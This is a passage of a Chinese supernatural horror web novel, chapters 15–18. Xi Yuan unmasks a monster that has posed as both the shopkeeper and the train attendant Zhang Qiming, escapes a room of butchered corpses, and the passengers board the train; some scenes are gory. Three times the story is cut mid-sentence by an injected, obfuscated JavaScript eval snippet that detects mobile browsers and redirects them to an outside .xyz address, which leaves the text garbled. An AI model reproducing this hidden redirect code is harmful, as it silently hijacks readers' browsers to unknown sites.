那瘦弱的女人愣了两秒,随即怔怔的接过了矿泉水瓶,若是仔细看,那瓶水底,沉了一枚薄薄的铜钱。 15. 四看 奚元多看了褚翊几眼,没有出声。 他们四人坐在了候车大厅最后面,说起了便利店的那通电话,但也没说出什么头绪。 “你们说那客服的意思是不是列车员害怕我们才不愿意露面啊?你们想想她最后说的那句话,‘你在恐惧ta的时候,ta也在恐惧你’,不就是说我们害怕列车员不帮我们,但同时列车员也害怕我们不敢表明身份么。”周格大胆猜测了一番。 张跳跳当即反驳:“我们有什么地方值得ta害怕的?该害怕也是害怕那怪物吧。” “但她说的那话明明就是指的我们乘客啊,不然我们该怎么理解‘ta也在恐惧你’这句话?” “那你说列车员害怕我们什么?” “列车员……” 周格一下被问住了,他想了会儿还是回答不出来,转头找奚元:“奚元,你觉得呢?” 奚元却是起了身,说了句:“我先上个厕所。” 周格:…… 都什么时候了!还想着上厕所!! 人有三急,奚元也没办法,他抱歉地冲周格笑笑,转头冲进了厕所。 厕所的灯光很暗,这会儿只有寥寥几个人进进出出,估计都没什么心思进来上厕所,毕竟再过个把小时,有没有命活都不一定。 有两个男的尿完尿走到水龙头前洗手,两人忧心忡忡的说着什么。 “你说那电话里说的啥意思啊?” “你问我?我小学没毕业呢!” “那也得想不是,不然咱俩等死不成?” “这不还有一个多小时吗?咱就傍着那小年轻,你看了这么久还没看明白吗?这大厅里除了那小年轻,哪儿还有谁是靠得住的,我看啊,要是那小年轻也想不出什么办法,咱也就只有死的份儿了。” 两个男人洗完了手,靠在厕所门口没急着走。 “你这话说的也对,诶,说到这个,咱们今天拿年货那会儿还真是没有跟错人,要真跟了那胸肌比女的还大的男的,这会儿咱俩也进去吃席了。” “我说了吧,那男的一看就不对劲,还在那儿抢人东西,谁信谁傻子” “确实,他爬上梯子那会儿我就听见他在那儿一惊一乍的叫,不知道的还以为疯了呢。” 两人正说着,忽然一只手搭在他们肩上。 “两位,你们刚刚是说那个杀了人的肌肉男?” 那两个男人吓了一跳,转头一看是那小年轻,这才松了一口气。 “是,是啊,怎么了?” 奚元收回了手,凑近了些,眼中求知若渴:“你们说他爬上梯子后还叫过,怎么叫的?” 那两男人被问的发懵:“就……说了句话啊。” 奚元:“什么话?” “呃,他喊了句‘居然是你!’” “然后呢?” “还有什么然后,叫完这句话他就爬下梯子了。” 奚元没再说话了,那两人见奚元不说话,就准备走了,临走前还说了声:“没别的事我们就先走了哦。” 奚元赶忙说:“哦哦,行,谢谢哦。” 两人摆摆手,走了,只留下奚元站在原地。 他喃喃道:“还说了句‘居然是你’……” 说明那肌肉男一定是在镜子里看到了某个人,且这个人他见了很多次,有很深的印象,不然他不会喊出这句话。 这个人会是谁?肌肉男一直都是单独行动,没有什么亲近的人,如果说他对某个人印象深刻,只有可能是这候车大厅里弄出了些声响,在他面前刷了好几次脸的人。 胖子算一个,但肌肉男爬上梯子那会儿胖子就在他眼皮子底下,应该不是。 那疯子呢?不,也不是,有目击者看到疯子那会儿一直在打扫卫生。 刷过很多次脸的人…… 奚元忽然想到什么,他走出厕所,朝候车大厅扫了一眼:怎么一直忽略了她!那电话里说的话该不会是这个意思! 他朝左看去,望向了那个已经没人再敢靠近的便利店。 看来,还得再进去走一趟。 奚元再次去便利店没有告诉任何人,一个人悄悄潜了进去,他重新走进收银台,摆弄了几下桌上的剪刀和粉扑,而后侧了侧身,打算弯腰看看台子下面,但他才刚弓起身,整个人却是顿住,额头冒起了冷汗。 就在刚刚,一丝冷光从他眼前晃过,让他莫名心中一沉,紧接着就是一阵没来由的心慌,恍若堕入万丈深渊。 而这光,似乎是从大门正中央挂着的那面镜子里反射出来的。 那镜子,似乎还对人有影响。 奚元忽然想:褚翊说这镜子不能看第三次,那第四次呢? 此念头一出,奚元捏紧了拳头,深吸了一口气,像是在下定某个决心。 只见他犹豫了一会儿,竟是抬起头,缓缓看向了那个镜子! 那镜中,无边的黑雾逐渐褪去,虚无中升起一扇砌着白漆的门,白漆门飘飘荡荡,始终落不到实处。 那扇门奚元记得很清楚,那是老板娘给他拿梯子进的门。 咚——咚——咚 忽地,镜子里传来了三声敲门声,声音拖得很长,恍若空荡的午夜里响起的低沉的编钟。 待声音完全消失,门口露出了一条缝。 那扇门被打开了,后面有一团黑乎乎的影子。 奚元强忍着害怕,想看清门后的东西,那东西似乎慢慢开始变清晰了,也离他越来越近,待完全清晰时,里面映出的竟是奚元惊恐无比的脸,而在他左肩处,一只骨瘦如柴的手不知何时停在了那里,最后啪的一声—— 它搭上了奚元的肩。 那一瞬间,奚元觉得自己跟死了没有区别。 “卧——” 他下意识惊叫出声,却是发现自己什么也说不出来,不光说不出来,他的身体也已经无法动弹。 一股刺骨的冷气刺透了他的后脖颈。 “敲门了,那就进屋吧。”身后,一个嘶哑的声音响起,随之,他就像是变成了提线木偶一样,任由身后的人控制着他走出收银台,然后悄无声息的消失在了便利店那扇敞开的白门里。 走动间,一些白色粉末掉落在了他的肩头。 吱呀—— 白色门被重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835558|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 新关上,而挂在大门正中央的镜子摇晃了几下后,啪嗒一声,摔碎了一地。 门后面是一间漆黑的房间,奚元几乎什么也看不清,只能大概看清些轮廓,比如正中央似乎挂了些什么东西,与此同时空气中弥漫着一股浓重的血腥味,味道浓到仿佛泡在了血池里,不仅让他呼吸不畅,还止不住的恶心想吐。 奚元脑中瞬间想过无数血肉淋漓的画面,猜测自己此刻的处境怕不是九死一生。 他继续被控制着朝里走,等心中默念着第十个数时,他停了下来,与此同时他的脑袋撞上了一个东西,那东西像是挂在半空中的,被他这么一撞开始左摇右晃起来,一下一下往他脸上砸,他只感觉那东西冰凉的厉害,还带有一丝Q弹的触感。 奚元不敢细想那东西,生怕自己心里的猜测变成了现实,能立马吓死过去。 那个原本一直跟在他身后的人这会儿走开了,不远处传来一阵乒呤乓啷的动静,像是什么铁制品相互碰撞的声音,而后那人又走了回来,继续在他身后站定,并伸手在那挂着的东西上划拉了一下,从那上面取下来什么东西。 随即身后有咀嚼声传来,那声音嚼劲有力,就像在嚼生牛肉一样。 过了一会儿咀嚼声才停,那人舒心的吐了一口气,而后说:“又进来一条人呢。” 是个男人嘶哑的嗓音。 奚元汗毛都竖了起来,他百分之八十可以肯定,此时此刻他面前挂着的就是一坨人肉,而他身后这位沙哑男刚刚分明是片了块人肉下来,生吃了! 奚元感觉自己人死了有一会儿了,但还没等他来得及彻底晕死,他就感觉到自己腰上放了个什么东西。 那是……是他身后那人的手! 那人竟然上下其手,在他身上到处摸! 还是个变态! 奚元的心也跟着死了。 沙哑男上下其手的动作越来越快,从胸口摸到肩胛骨,又在脊椎那里比划两下,越摸奚元越觉得不对劲。 比吃人豆腐更让人害怕的是馋人身子,很明显,这沙哑男已经不是心理上的馋身子了,而是生理上真正意义的“馋”! 他也要被这沙哑男给片了! “咦?”沙哑男的动作忽然停了,他似乎遇到了什么疑惑的事,顿了顿,才听他又啊了声:“哦,不是一条人,原来也是半只鬼了呀!” 什么意思? 奚元没听懂,他不想再坐以待毙,刚想壮着胆子问一问,结果还没等他鼓足勇气开口,他就被沙哑男整个抬起,继续往里走去。 经过旁边那挂着的东西的时候,A终于因适应了黑暗看清了它,这不看还好,一看奚元想把自己眼睛扣了。 果然如他所料,那……那居然真是一坨人肉,准确来说,是一个带了点啤酒肚的成年男人的躯干! 沙哑男很快把他抬到了一个又硬又冷的床上,当他硬邦邦地躺在上面时,他看到了更多奇形怪状的肉块,鱼头鱼尾跟人身的串串,鱼身人头的串串,左串一个,又串一个,外加一个没了头,但衣服还在的男尸,竟然一共挂了有四个! 所以他这是……跑人家后厨来了! 16. 起死 奚元总算完全弄清了自己的处境,眼下他身体下的压根儿不是什么铁板床,这分明就是肢解台! 把奚元端到台子上就不见了踪影的沙哑男这个时候回来了,他脸上罩了个白色的纸箱子,让人看不出长相,手上还拿了几把砍刀。 只见他在空中挥舞了一下砍刀,奚元就感到原本堵塞的喉咙顿时一通,他又能说话了。 看来,这沙哑男不光是要杀他,还想听到他惨痛的尖叫。 能说话的奚元先狠狠咽了口口水。 “你是谁?”奚元按下心中的恐惧,问沙哑男道。 在自己还没被剁成肉块吊起来前,他必须要完全证明他此刻的猜想。 但沙哑男没有理他,只顾在他旁边磨刀,那砍刀就在离他脸不足五厘米的地方,稍有不慎,他脸上就能豁出一条大口子。 奚元尽量让自己保持冷静,继续追问:“你准备这么多年夜菜,本来是想招待谁?” 砍刀磨出的铁碎屑飞了奚元一脸,沙哑男的手短暂的顿了顿,又继续磨了起来。 奚元目光从挂着的几个肉块上扫过:“你是要把我做成像他们那样吗?” 这句话似乎终于勾起了沙哑男的兴趣,只听他喉咙里咕噜两声,像废旧的机器被发动一样,发出闷哑的声音:“不,我会好好待你的。” 奚元表面镇定,实则心里听得心惊肉跳:“怎,怎么待我?” 沙哑男笑了,嘴咧到了耳后根,他放下了砍刀,俯下身,凑到奚元耳边:“当然是把你做成刺身啦,你这么上好的肉,必须是一点一点刮下肉片才够美味,嘶。” 他一脸满足的嗅了嗅,又重新拿起砍刀,把他举到了半空中。 “诶等等!”奚元看着头顶的砍刀头皮一阵发麻,“你你你等会儿,我身上这么臭,不适合被当成年夜菜!” 沙哑男刚准备落下的砍刀停在半空,他歪了歪头,满脸疑惑:“怎么会臭呢?这么新鲜的半条人,必然是鲜——” 他忽然顿住,在奚元身上猛嗅两口后,竟是大叫起来:“臭!怎么这么臭!你——” 仅仅过了几秒,他就反应过来什么,又笑了:“嗬,你以为在身上涂了荷花水,我就不会吃你了吗?你放心,送货上门的食材我向来是不会嫌弃的,更何况你还这么的让人讨厌,待会儿我就去拿钢丝球,把你身上带荷花味的皮肉一点、一点全都刮干净。” 说着,沙哑男竟是扯起了奚元的衣服,一件一件把他的衣服一个不剩全扒了下来,然后轻轻一搓,被扒下来的衣服全成了灰。 随即他就转身拿钢丝球去了。 □□的奚元只感觉身上凉的刺骨。 他嘴上却是一点不耽误,即使沙哑男走远了,他也扯着嗓门儿喊着:“晚上死的两个人是都被你挂在这儿了吗?” 远处的沙哑男似乎也乐得有人同他打发时间,竟是奸笑一声,应了奚元的话:“是啊,你不是已经看到了么。” 奚元:“我怎么看你把这两个人都跟鱼串在一块儿,怎么到我这儿就要做成刺身了?” 沙哑男的嘴几乎咧到了后脑勺:“说了你的肉好,该被片。” 奚元:…… 这特殊待遇还是不要的好。 他苦笑两声:“哈哈,既然这么好的肉,片了得多可惜,倒不如把我一整个端出去,直接生吃岂不是更原汁原味儿。” 这个提议似乎打动了沙哑男,他喉咙里咕噜了两声,并没有否定奚元的想法。 等他拿到钢丝球往回走时,他说:“是个好主意,看来我得更加仔细的擦掉你身上的臭味了。” 说着,他抬起手上的巨大钢丝球就要往奚元身上搓。 奚元一惊,急忙开口:“你,你这也太差别对待了,那列车长可以衣服都不脱就挂在那儿,你咋就要搓我的皮肉!” 但沙哑男哪管他死活,钢丝球很快落在了奚元的腿上,在他腿上来回搓了起来。 巨大的摩擦掀起了奚元的血肉,一片一片卷曲成团,奚元只感觉自己的右腿上传来剧痛,剧痛在他身体里四处游走,让他大叫一声后便疼到失声。 奚元痛苦的表情取悦了沙哑男,他像一个得意忘形的胜利者一样,嘲讽着奚元:“你怎么配跟列车长比,列车长跟你们可不一样,他现在只是——” 沙哑男猛然顿住,黑暗中奚元只感觉有一双猩红的眼珠死死盯死了他。 他知道沙哑男终于发现了不对劲。 “你怎么知道那边挂着的是列车长的?”沙哑男冷冽的声音传来。 虽然奚元现在依旧看不太清楚,但他十分确定沙哑男抬起的手指向的方向就是那个被挂着的无头尸。 那一刻一直在他脑中盘旋的猜测被印证,奚元紧绷的神经一松,竟是笑了:“这有什么,我知道的事情还多着呢,你想不想再听听?” “你……”沙哑男语气中难得闪过一丝惊恐,他的声音越发浑浊了。 奚元终于抬起了眼皮直视他,仿佛要透过纸盒子看透他血淋淋的灵魂。 “你害怕了?”他轻吐出声。 这句话显然激怒了沙哑男,他脸上套着的盒子晃动起来,就好像里面的脑袋在撕扯,在挣扎,盒子越晃越快,越晃越快,直到盒子边缘慢慢破开,从里面露出一个脑袋,那上面同时挤了三张长相相同却表情不同的脸,一张懦弱、一张开心、一张癫狂。 脑袋从里面冲了出来,张开三张血盆大口直奔奚元脖子咬去。 奚元的眼神难得能有这么冷:“张奇明!你还不停下吗!” 三张脸怪物在距离奚元十厘米处顿住。 奚元:“还是说我该叫你乘务员。” “亦或者老板娘。” 恍若一场居高临下的审判,只消一瞬,躲在暗处的恶魔终于现出了原形。 “你,你说什么,你说什么!”沙哑男表现出前所未有的慌张,他的声音像翻涌起的滚烫的岩浆,低沉的咕噜声宛若来自深渊地狱:“你,你怎么知道是我的?不准叫,不准叫,不准叫我的名字!” 成了! 奚元心中暗喜,看沙哑男这状态,他就知道自己这把算是赌对了。 “哦,原来你是害怕别人叫你名字啊。” 沙哑男喉咙里发出嘶吼:“不准叫我名字,我说了,不——准——叫!” 奚元:“张奇明,张奇明,张奇明,张奇明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835559|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” “啊啊啊啊啊啊啊!!!停下,我叫你停下!”张奇明竟是同时发出三种声音,他痛苦的捂住了脸,大叫起来。 那三张脸在狭小的面部蠕动着,三张脸谁也看不起谁,竟是在同一个面部打起架来,原本对准奚元的獠牙开始对自己互咬,没一会儿那三张脸就变得残破不堪,同时他的身体也开始诡异的扭曲,整张腿180°旋转向后,再也看不出一点人样。 张奇明痛苦极了,他神智似乎受到了影响,开始胡言乱语起来:“不,不行,你们不能走,还没吃饭呢,年夜饭还没开席,你们怎么能走!” 忽地,他又发疯似的发出邪笑:“桀桀桀桀桀,忽然忘了,你们走不了,快到时间了,外面那胖子该清理垃圾了,现在又没有列车长了,你们哪能走得了?哈哈哈哈哈,哪能走的了啊!” 奚元静静地看着他发疯,并没有丝毫慌张,只听他缓缓叹出一口气:“唉,恐怕要让你失望了。” “桀桀桀桀桀,我说了吧,你们不……什么,你说‘失望’?”张奇明的腿竟然开始融化了,像一滩泥一样滩在地上。 “是啊。”奚元甚至笑了笑,“去外面看看吧,一切风平浪静,胖子这会儿估计是消停了,你那餐桌上也被褚翊滴了荷花水,想必这顿年夜饭是吃不成了的。” 张奇明:“你……你说什么?” 他的身体已经完全摊成了一滩肉泥,听到奚元这么说就要咕蛹着出去。 奚元感觉自己好像能动了,他坐了起来,说:“至于列车长嘛——” 他微抬眼皮,双手搭在腿上,俯视着那滩肉泥:“你不就是投诉电话里说的那位不愿透露姓名的新列车长么。” 暗室里一片寂静,肉泥蠕动的声音戛然而止,一只嘴巴从肉泥里钻了出来,喃喃道:“列车长?” “我是列车长?” “列车长,列车长,是啊,列车长……” 原本不成样的肉泥又重新堆了起来,慢慢又堆成个人形,他的脸上终于只剩下一张脸,那张脸嘴角上扬,眼睛眯着,是那张快乐的脸,只不过左半边脸被咬去一个血洞,让这张脸看起来并没有那么快乐。 若是奚元能及早仔细观察,他应该早就能发现,与那男乘务员和去掉厚重妆容的老板娘,分明就是同一张脸! “原来,已经是列车长了啊……” 张奇明依旧喃喃着,失魂落魄地走到那无头列车长的尸体前,扒了他的衣服穿到了自己身上后,推开暗室的门出去了,只留下暗室里满眼狼藉的血肉尸块。 暗室里再没发出任何声音。 足足过了有一分钟,奚元撑着腿的手忽然打滑,整个人差点从铁床上栽下去。 双手开始不受控制的发颤,奚元这才后知后觉的发现,刚才被自己强制遏制下去的恐惧,悄无声息间竟是膨胀到了能将他湮灭的程度。 好在,好在在被吓死之前救了自己。 良久,奚元才缓缓吐出一口气。 劫后余生,这下是真不害怕了。 他低下头,看了眼一身光溜的自己,重新躺回铁床上,闭上了眼。 “快来个人吧。”他心里祈祷着。 17. 回生 暗室外果然如奚元说的那样一片祥和,并没有发生什么大动乱,不过小小的骚动还是有的,这会儿乘客们正围成一团,叽叽喳喳的说着什么,而他们指手画脚正在讨论着的,正是被围在中间的被匕首捅穿心脏,已经凉透了的胖子。 原来,快晚上九点的时候,胖子突然发疯,张开血盆大口一副要吃人的样子。 但他姿势都摆好了,却是没有下一步动作,像是卡机了一般呆愣在原地,而一直悠哉游哉的褚翊这个时候起身把他给捆了,原本躲在厕所还有粉馆的乘客们发现自己这次并没有失去意识,还听到了外面的动静,就壮着胆子往外瞄,结果一看,本来他们一直忌惮的胖子已经被人制服了,很多人当即就松了口气,壮着胆子一个一个出来了。 哪知还没等他们走近细看,胖子的瘦弱女朋友竟是突然发难,用不知道从哪儿拿到的匕首捅死了胖子,众人哗然,纷纷围了上去。 眼下,就是胖子女朋友杀人之后的场景,谁也没想到这女人胆子这么大,在场的人无不震惊。 候车大厅里一直若有似无的冷意似乎没了,大厅里亮起了白炽灯,比此前任何时候都要亮堂,那诡谲的阴霾似乎就这么悄无声息的消失的无影无踪,若不是暗室里挂着的几具尸体,以及还躺着一个被扒的底裤都不剩的奚元,很难相信这里差点全员死绝。 褚翊走出了人群,默默看着眼前的一切,像是习以为常一般神色没有太多的起伏,他只是瞥了一眼从便利店里走出来,满脸迷茫又失魂落魄地坐在角落里的张奇明,起身走向了便利店里的暗室。 暗室的门被他推开,他走了进去。 “谁啊?”他听到里面奚元喊了声。 褚翊:“是我。” 奚元明显松了口气:“哦,褚翊啊,你可算来了。” 褚翊没应声,朝奚元的方向走去,但很快就被奚元阻拦了。 “诶等等等等。”只听奚元赶忙说,“你,你别往前走了。” 褚翊勾起嘴角:“怎么了?” 奚元默默的用手挡住了自己的隐私部位。 “呃,也没什么。”他尬笑两声,斟酌了很久,才难为情地说了句,“那个……你能先去我行李箱里找套衣服吗?” 这暗室不算太大,褚翊刚才走的那几步也差不多快走到奚元跟前了,这会儿就站在奚元三步远的地方。 只见他双手环胸,问了句:“怎么,你不会被扒光了吧?”语气中闪过一丝不易察觉的笑意。 奚元大惊失色:“你不会看得见我吧?!” 暗室里安静几秒,褚翊忽地就没了声。 就在奚元觉得褚翊肯定是看到了,捂脸想死的时候,褚翊这才想起来回奚元的话。 “看不清。”只听褚翊笑笑,“这黑灯瞎火的,怎么可能看得清。” 奚元当下狠狠松了一口气。 还好是看不清,不然他这脸就丢大了。 既然褚翊看不清,他整个人姿态也放松了些,从铁床上爬了起来坐在了床边,又央求了一遍褚翊帮他拿衣服,褚翊也没再说什么,在奚元行李箱里随便翻了几件扔给了奚元,然后就站在门口等着。 奚元穿好了衣服叫了褚翊一声,两人一起并肩往外走,脚步声淹没在了叽叽喳喳泛起了活气地候车大厅里。 “你受伤了。”褚翊盯着奚元的左腿,忽地说。 奚元一瘸一拐的走着,裤子上还沁出了血,这很难不引起他的注意。 奚元也不藏着掖着,龇牙咧嘴的哇哇叫:“还不是那神经病,上来就要搓我的肉,那么大一个钢丝球就往我腿上招呼,嘶,这辈子没受过这么重的伤。” 他指着张奇明大声控诉,一点儿也不怕他听见。 褚翊皱了皱眉,握住奚元的手腕让他的手放到自己肩上:“左腿别受力了,先去包扎。” 说完,他搀扶着奚元走到椅子边坐下,从身上掏出把匕首,非常精准的划开伤口处的布料,转而又掏出一瓶不知道是什么的药,哐哐就往伤口上撒。 “你胆子也是大,就这么跟着进去了。”褚翊率边撒药边说。 奚元疼的直龇牙:“说的好像我自愿进去的一样。——嘶,哇!你这药效挺猛。” 褚翊哼了一声,手上动作不停:“你要是不看那镜子,怎么会着了那老板娘的道。” 奚元痛苦的表情中露出一丝惊讶:“听你这话意思……你早知道那镜子还有问题?” 褚翊只是看了眼奚元,没说话,但他的态度已经表明了一切,奚元想到了更多:“所以你其实也早就知道老板娘有问题!” “也没比你知道的早多少。”褚翊如此说,“不过你也太着急了,太着急的人在这儿是活不长的。” “在这儿?这是哪儿?候车大厅?” 褚翊想了想,说:“没什么。” 很快他就转移了话题:“所以你其实在进去之前就有了猜测?” “差不多吧。”奚元接过褚翊地话,褚翊开始缠纱布了,伤口的痛感小了很多,他说话都更利索了:“那通投诉打完之后,我就隐隐感觉哪里不太对,那客服说‘恐惧是这世界上最致命的弱点,当我们在恐惧它的时候,它也在恐惧我们’,我当时就想,我们现在恐惧的除了年娃娃外,就只有那些非人类的怪物,但我现在问她要的明明是列车长,为什么会突然提起跟怪物相关的话题,这不是答非所问吗?直到我去上厕所,有两位厕友让我注意到了一些事情,我把大厅里发生的所有怪事以及所有我能想得到的细节又在脑子里反反复复过了好几遍,结果,我得出了一个完全无法说服自己的结论——” “那个胆子小,不愿透露姓名的新列车长和把候车大厅闹得鸡犬不宁的怪物,或许是同一个人。” “一个是想让我们死的恶鬼,一个是要救我们于水火的救星,怎么可能是同一个人呢?我当时甚至怀疑自己脑子是不是不清醒了,但却又推断不出任何其他的结论。” “那两位厕友让你注意到了什么?”褚翊适时的插了句话。 “一个人。”奚元说,“一个经常出现在我们眼前,又不那么常出现在我们眼前的人。” “怎么,这人精神分裂?”褚翊给奚元包好了伤口,找了个椅子坐下。 奚元说了声谢谢,又接着褚翊的话聊了起来:“不是精神分裂,而是多重身份。——话说你不是早就猜到了吗,干嘛还问我?” 褚翊却说:“其实我知道的也不算多。” 奚元打量褚翊两眼,并不太信褚翊的话,他总觉得褚翊这人说话总是含糊不清,跟人隔着距离,但对他倒还挺好,请他吃粉,还给他包扎伤口,以至于他虽然不完全相信褚翊的话,但也没怎么怀疑过他的为人。 人总有点不想说或暂时不能说的秘密,这也无可厚非,反正眼下罪魁祸首都颓了,候车大厅里也不会再发生什么事,闲来聊聊也挺能打发时间的。 于是奚元顺着褚翊的话继续往下说:“那两位厕友让我注意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835560|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到了老板娘,据他们说,肌肉男在看那镜子的时候在里面看到了一个让他印象很深的人,我猜来猜去,除了老板娘不会再有其他人,而老板娘出现在镜中,就必定跟候车大厅里发生的所有诡异事件有着密切的联系,那么问题来了。如果老板娘就是要害我们的人,她是怎么杀了列车长的?要知道,这里除了偶尔出现的乘务员,谁都无法离开候车大厅,更不要说去候车大厅外杀人了,这是个悖论。” 褚翊翘起了二郎腿,食指不经意的在膝盖上敲着:“但也就是这个想法,让你开始怀疑老板娘的身份,包括她的性别。” “没错。”奚元说,“那一刻,我忽然就想起来,每当那位男乘务员出来的时候,我都没有看到过老板娘的影子,而老板娘唯一一次从她的便利店出来,坐在候车大厅的时候,那位男乘务员也没有出现,那是他唯一一次没有跟女乘务员一起出来。” 在那个瞬间,老板娘的影子跟男乘务员的影子在奚元脑子里无限重叠,奚元忽然就发现老板娘在女人中高挑的身高与男乘务员普通男性的身高达成了高度一致,也明白过来那小卖部里的收银台上为什么化妆品脏兮兮的,散粉散落了一桌子,那剪刀上面还黏了些带胶水的从中间剪断的长发,那分明就是一个不善装扮的人笨手笨脚弄出来的,而那带胶水的头发也不是老板娘自己头上的,而是他要黏到自己头上的假发。 两个影子逐渐融合成了一个。 “老板娘跟那位叫张奇明男乘务员根本就是同一个人,这也就讲通了老板娘为什么有能力杀了列车员,而年夜饭为什么选择了在便利店吃。至于为什么说张奇明也是那位隐姓埋名的新列车员,因为在猜测到老板娘就是男乘务员的那一瞬间,我忽然也猜到了张奇明在害怕我们什么了。” “怕什么?” “他在怕我们戳穿他的身份,念出他的名字。因为投诉电话里早就有提示,‘这位列车长十分胆小谨慎,TA总是喜欢隐姓埋名,不愿让人知道TA是谁。’这既是一句陈述,也是一句答案,而一直靠老板娘身份掩盖自己的张奇明恰好就在践行这个答案——张奇明害怕我们注意到他作为乘务员的真实身份。”奚元如是说。 “所以你冒险入他的圈套,就是想要验证你的猜测?”褚翊问。 奚元无奈地摆摆手:“没办法啊,马上就要到九点了,不确定性因素实在太多,张奇明又从候车大厅消失了,我只得铤而走险,好在结果不算太差。” 说到这儿,奚元长长的呼出一口气。 这时,一直坐在角落里两眼无神的张奇明站了起来,他走向了检票口,那位女乘务员也出来了。 候车大厅的广播站响起了正常的声音。 【尊敬的旅客你们好,列车已经到站,请拿好随身物品,前往检票口验票进站。】 检票口被打开了。 乘客们传来惊喜尖叫。 “发,发车了?怎么突然就发车了?” “是因为我们制住了这胖子吗?” “诶管那么多干嘛,快走啊!” “是啊是啊!快离开这鬼地方,我是一刻也不想呆了!” 他们蜂拥而上,挤向了检票口。 褚翊也站了起来,朝奚元伸出手:“奚元,你其实并没有表面看起来的那么害怕。” 奚元搭上褚翊的手,任由褚翊拉他起来:“强打精神而已,总比死了强。” “一味的害怕只会死的更快,我这么年轻,还不是死的时候。” 18. 不归路 “你俩还挺有心有灵犀。”张跳跳不知道从哪里跳了出来,跟着她一起过来的还有周格。 周格先是拍了奚元的肩打了声招呼,转头问张跳跳:“心有灵犀?什么心有灵犀?” 张跳跳:“就刚刚奚元说的话,之前褚翊也说过。什么……哦害怕只会让人死的更快什么的。” 周格:“褚翊说过吗?什么时候说的?” 张跳跳:“哎呀总之就是说过。”她看向褚翊,“是不是,褚翊?” 褚翊过了好久才点了点头,没有说话。 四人朝检票口走去,路上,奚元把刚刚发生的事也周格张跳跳说了,两人听完后都直呼凶险。 周格忍不住瞟了眼站在检票口的张奇明:“我就说怎么见着这人就瘆得慌呢,敢情差点害死我们的就是他啊,诶话说咱们要不要把这张奇明就是罪魁祸首的事儿告诉其他受害者啊?你们看那死了老公的女的,到现在都还是魂不守舍的。” 说话间,四人排到了队伍的最后面。 奚元缓缓开口:“张奇明的事儿就不要说了吧,说了谁都不会好过。” 一旦说了,死了家人的,担惊受怕想要泄愤的分分钟就能要了张奇明的命,张奇明一旦死了,这候车大厅就真的出不去了。 周格一顿,转而悻悻地吸了吸鼻子:“也是。” 四人没再说话,开始安静排队,褚翊一直搀扶着奚元,到后面索性一整个拦腰环住奚元的腰,让奚元大半个身体的重量都靠在他身上。 “褚翊这……你会不会不舒服啊?”奚元都有点不好意思了。 褚翊却没觉得有什么:“这样方便,你尽管靠着就是。” 奚元一个二十来岁的大男人,很少感受过这种被人圈在怀里照顾的滋味,只觉得有种说不上来的怪异感,但他又不想说出来显得自己矫情,索性就任由褚翊圈着他。 “那就谢了。”于是他说,转而把手搭在了褚翊的肩上,让自己看起来不那么像依偎在男人怀里的小媳妇儿。 几人又往前走了一段距离,差不多快到检票口的时候,那个粉馆老板突然跑了过来,隔着老远就冲着奚元喊。 “诶!小伙子!你等等!还没给钱呐!” 还没过检票口的乘客们都侧头看了过来。 粉馆老板很快就跑到了奚元跟前,他先是撑着大腿猛喘了几口气,等缓过神来才抬头看向奚元:“诶哟,哈哈,小伙儿你,哈,还好没走,我刚刚算账呢,这才想起来你跟这位帅哥吃的那两碗粉还没给钱嘞。”他边说着边指了指褚翊。 奚元侧过头,一脸懵逼的指着褚翊说:“没给钱?你不是说他已经给了吗?” “我给了?”褚翊似乎也很困惑。 奚元:? “你没给?可老板你明明说——” “嘿哟。”粉馆老板一拍脑门儿,“我这脑子糊涂嘞,当时我应该是记错了,这会儿仔细想了想,这帅哥也没给!” 奚元只觉得这老板好笑,收钱这事儿都能记错,刚要拿出那几枚铜钱出来把钱补上时,褚翊已经给老板扔了一枚。 “一个够了吧。”只听褚翊说。 老板接过铜钱,眉头舒展了:“还多了嘞,给你找小铜板。” “不用了。”褚翊却说,“下次来你家吃粉从里面扣就行。” “行嘞!”粉馆老板喜笑颜开,把钱揣兜里,转头便走了。 奚元几人这会儿也已经排到了检票口,女乘务员先是让奚元跟周格过去,再然后才是褚翊张跳跳。 等他们全部过去,检票口的门再次被关上,奚元四人以及张奇明跟那位女乘务员都朝高铁站台走去。 入站通道里狭窄阴暗,没过几分钟,候车大厅里的最后一批人也消失在了通道的尽头。 候车大厅里空无一人,猩红的便利店伴随着张奇明的离去陷入死寂,悄无声息的,转闸门缓缓落下,诡谲的血腥就这样被尘封在了黑暗里。 不过,门落一扇又起一扇。 就在粉馆旁边,紧闭的木门缓缓张开,发出刺耳的吱呀声,里面亮起了灯。 与此同时,女厕所里面走出来一人,是那个胖子的枯瘦女朋友,刚才出站时,她竟然一直躲在厕所里没有跟着一起出去! 